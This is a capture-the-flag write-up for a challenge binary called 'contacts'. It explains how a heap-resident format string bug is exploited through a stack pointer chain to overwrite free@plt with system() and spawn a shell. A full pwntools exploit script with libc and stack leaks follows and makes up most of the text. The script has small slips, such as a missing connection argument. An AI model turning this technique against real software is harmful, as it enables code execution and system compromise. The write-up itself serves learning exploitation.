I attacked this with just the format string because I thought it would add a bit of a fun challenge.
The vuln prints a user controlled string but the string is in the heap so we can't use the usual put-the-address-you-want-to-write-to-at-the-start trick
Hmm fun times ensure ;)
Here is a gdb-peda dump of the stack just before calling the format string
0000| 0xffa60800 --> 0x9b9a068 ("payload")
0004| 0xffa60804 --> 0x9b9a058 ("1234") <- font="" nbsp="" phone="">->
0008| 0xffa60808 --> 0xf7638dab
0012| 0xffa6080c --> 0xf7790000 --> 0x1a8da8
0016| 0xffa60810 --> 0x0
0020| 0xffa60814 --> 0x0
0024| 0xffa60818 --> 0xffa60848 --> 0xffa60878 --> 0x0
This is the interesting one
0024| 0xffa60818 --> 0xffa60848 --> 0xffa60878 --> 0x0
at offset 6 (i.e %6$x) we get a pointer 0xffa60848 to a pointer 0xffa60878 that points to somewhere that's also reachable on the stack.
This is good news.
I can use the first offset/address/thing to change the least significant byte of the second offset/address/thing.
Using that I can change the second offset to the following values:
0xffa60878
0xffa60879
0xffa6087a
0xffa6087b
and each time I do that I can use that offset (18) to write a full word (one byte at a time) of whatever I like to a spot that is also on the stack (0xffa60878: offset 30)
I wrote the address of free@plt (0x0804b014) to offset 30, then using the same ninja-wiggle-byte trick I update the least significant byte of offset 30 which now points to free@plt to get the following values
0x0804b014
0x0804b015
0x0804b016
0x0804b017
and each time I do that I can use that offset (30) to write a full word (one byte at a time) of whatever I like to the plt entry of 'read'
I choose system() (which I can easily leak from the stack)
Create new contact with name and description "/bin/sh", "/bin/sh"
and then remove it, which will call free("/bin/sh") which will actually call system("/bin/sh")
boOM!shell Popped
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
from struct import pack, unpack
from functools import partial
with open('payload', 'w') as f:
f.write('')
def send(conn, line):
conn.sendline(line)
with open('payload', 'a') as f:
line += '\x0a'
f.write(line)
conn = process("./contacts_54f3188f64e548565bc1b87d7aa07427")
current_val = 0
def set_cur_val(a):
global current_val
gets_to_zero = 256 - current_val # add this to get to 0x00
gets_to_destination = gets_to_zero + a # add this to get to where you want to be
inc = gets_to_destination%256 # adding > 256 is the same as adding 0 so mod 256
current_val = a
if inc == 0: # %0c is the same as %1c so if it's 0 difference then just print nothing
return ""
return "%1$0" + str(inc) + "c"
def decompose_data(data):
hexStr = hex(data)[2:][::-1] # little endian
byteList = [ hexStr[i:i+2][::-1] for i in xrange(0, len(hexStr), 2) ]
bytes = [int(x,16) for x in byteList]
return bytes
def off_write(offset, byte):
"""
Use this stack addres offset, to write a byte
"""
global current_val
payload = set_cur_val(byte)
payload += "%{0}$hhn".format(offset)
return payload
def write_and_prep_next(offsets, byte, next_lsb):
"""
|can't change| |change LSB| |full control|
|____________|__|__________|__|____________|
| offset1 |->| offset2 |->| offset3 |
____________________________________________
use offset1 to change the LSB of offset2
use offset2 to change all the bytes of offset3
use offset3 to write wherever
"""
global current_val
current_val = 0
# write the current value
payload = off_write(offsets[1], byte)
# prepare our wiggle ninja pointer for the next format string
payload +=off_write(offsets[0], next_lsb)
return payload
def payload_chain(offsets, address, data):
lsbAddr3 = decompose_data(address)[0]
bytes = decompose_data(data)
payload = partial(write_and_prep_next, offsets=offsets)
next_lsbs = [lsbAddr3 + x for x in [1,2,3,0]]
arr = [payload(byte=b, next_lsb=l) for b,l in zip(bytes,next_lsbs)]
return arr
def createContact(name, description):
send(conn, "1")
send(conn, name) # name
send(conn, "1337") # number
send(conn, str(len(description))) # len of description
send(conn, description)
def remove_contact(name):
send(conn, "2")
send(name)
createContact("Leak", "Libc:%2$p:::Stack:%18$p;;;")
send(conn, "4")
response = conn.recvuntil(';;;')
libc_leak = int(response[response.index('Libc:')+5 : response.index(':::')],16)
stack_leak= int(response[response.index('Stack:')+6: response.index(';;;')],16)
system = libc_leak - 20083 -60248
free_plt = 0x0804b014
def setup_chain(offsets, address, data):
for load in payload_chain(data=data, offsets=offsets, address=address):
createContact("Hack", load)
offset3_addr = stack_leak
# 6 fiddles 18 to write free_plt into 30
setup_chain([6,18], address=offset3_addr, data=free_plt) # create the contacts
# 18 fiddles 30 to write system into free_plt
setup_chain([18,30], address=free_plt, data=system) # create the contacts
createContact("/bin/sh", "/bin/sh")
send(conn, "4") # execute format string
send(conn, "2") # edit
send(conn, "/bin/sh") # edit AAAA
conn.recvuntil(">>> Name to remove?")
conn.interactive()